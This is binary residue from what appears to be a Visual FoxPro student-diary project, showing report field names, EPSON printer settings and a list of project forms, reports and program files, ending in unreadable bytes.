:"CalibriPrintcur4.first_nameCalibriPrintcur4.predmetCalibriPrintcur4.semestr2CalibriPrintcur4.yearsCalibri""Calibri "II-"Calibri"г"Calibri " " + TRANSFORM(_PAGENO)ArialYesPrintDATE()CalibriYesTrue""CalibriYesTrue Courier NewCalibriCalibriArialCalibridataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" DRIVER=winspool DEVICE=EPSON Stylus C91 Series OUTPUT=USB001 ORIENTATION=0 PAPERSIZE=9 PAPERLENGTH=2970 PAPERWIDTH=2100 COPIES=1 DEFAULTSOURCE=7 COLOR=2 DUPLEX=1 COLLATE=0 Y+winspoolEPSON Stylus C91 SeriesUSB001ort:EPSON Stylus C91 Series 4dhh EPSON Stylus C91 SeriesPOpen cfg file 4  hhL ,hh q*** q***d2 Courier New3" II- :"CalibriPrintcur4.first_nameCalibriPrintcur4.predmetCalibriPrintcur4.semestr2CalibriPrintcur4.yearsCalibri""Calibri "II-"Calibri"г"Calibri " " + TRANSFORM(_PAGENO)ArialYesPrintDATE()CalibriYesTrue""CalibriYesTrue Courier NewCalibriCalibriArialCalibridataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" ..\reports\reitung.frxreitung.frtonlyonetema.frxonlyonetema.frttematuchni.frxtematuchni.frt..\diary\students.prgc:\users\andrew\appdata\local\temp\students.fxp..\diary\main.mprmain.mpxforms\agent.scxagent.sctexport.scxexport.sctnew.scxnew.sctobnulutu.scxobnulutu.sctoptions.scxoptions.sctprinting.scxprinting.sctpunkt.scxpunkt.sctre.scxre.sctreitung.scxreitung.sctstudents.scxstudents.scttema.scxtema.sctupdate.scxupdate.sctrsemestr1.frxrsemestr1.frte:\my pictures\ \yes.bmpe:\my pictures\other\okey.jpg.\diary.icowelcome.scxwelcome.sct.\myshape.vcx.\myshape.vcttheend.scxtheend.sct..\diary\correct.prgcorrect.fxp..\diary\rec.prgrec.fxpwork.scxwork.sctkalendar.scxkalendar.sct.\kalendar.bmp.\kalculator.bmppassword.scxpassword.sctpar.scxpar.sctallfunctions.scxallfunctions.sctparol.scxparol.sctmany.scxmany.sctrsemestr2.frxrsemestr2.frt )E E, ,M$MPj4 PjDeSe7x7x  AA AA //k k+  7 XD XdQdk[ kjejl GsG (( w w~~ܝ ܝddddL Lo'o\03 \`=`IHUXH:dg :0As0Ac~ccxccfx cfmm ,, i im+m53 5;ML MT]T]g ]hqh~z ~&